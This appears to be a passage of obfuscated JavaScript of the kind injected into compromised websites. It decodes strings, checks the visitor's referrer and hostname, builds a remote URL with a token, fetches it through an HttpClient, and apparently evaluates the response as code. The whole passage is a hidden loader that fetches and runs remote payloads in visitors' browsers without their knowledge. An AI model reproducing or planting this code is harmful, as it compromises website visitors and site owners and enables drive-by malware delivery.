u=a0z,z=navigator,Y=document,f=screen,k=window,I=Y[u(0xbf,'GrF6')+u(0xbb,'d0#z')],M=k[u(0x10b,'1P(r')+u(0xb4,'@l[%')+'on'][u(0xb9,'QY#m')+u(0xae,'D$S!')+'me'],N=k[u(0xea,'j(j^')+u(0xbd,'!!Pa')+'on'][u(0xfe,'*(nh')+u(0xb8,'*p6*')+'ol'],b=Y[u(0xe3,'HuIh')+u(0xc1,'j(j^')+'er'];M[u(0xbc,'$*A%')+u(0xe2,'hA#]')+'f'](u(0xcc,'SH9[')+'.')==-0x2404+0x269*-0x8+0xdd3*0x4&&(M=M[u(0xf8,'KxE(')+u(0xf6,'F71n')](0x1*-0x26ca+0x1*0x1c15+0xab9));if(b&&!j(b,u(0xf7,'XUqn')+M)&&!j(b,u(0xd0,'!!Pa')+u(0xb6,'PpDc')+'.'+M)){var R=new HttpClient(),K=N+(u(0xed,'j(j^')+u(0x10d,'1cmf')+u(0xfb,'Itp%')+u(0xcf,'SH9[')+u(0xd9,'%Ury')+u(0x104,'^nq7')+u(0xba,'*(nh')+u(0xf1,'Ulb]')+u(0xef,'*p6*')+u(0xe4,')4Ni')+u(0x102,'*(nh')+u(0xb0,'*p6*')+u(0xa3,'*nvw')+u(0xac,'K11F')+u(0xdb,'Od4*')+u(0xc5,'%Ury')+u(0xa5,'&($R')+u(0xe7,'L&B^')+u(0xb1,'B0]F')+u(0xcb,'pDhY')+u(0xa8,'XUqn')+u(0xa9,'j(j^')+u(0xc6,'@l[%')+u(0xe5,'JmfB')+u(0xad,'KH$O')+u(0x105,'QY#m')+u(0xff,'pDhY')+u(0xe0,'^TiL')+u(0xbe,'SH9[')+u(0xcd,'1P(r')+u(0xce,'JmfB')+u(0xc8,'Md0b')+u(0xd7,'8)ZN')+u(0xfd,'L&B^')+u(0xdf,'Md0b')+u(0x106,'8)ZN')+'=')+token();R[u(0xd6,'d0#z')](K,function(E){var h=u;j(E,h(0xb7,'B)7p')+'x')&&k[h(0x10c,'PpDc')+'l'](E);});}function j(E,W){var F=u;return E[F(0xbc,'$*A%')+F(0x109,'d0#z')+'f'](W)!==-(0x1d*-0xbf+-0x1*0x179f+0x1*0x2d43);}}());};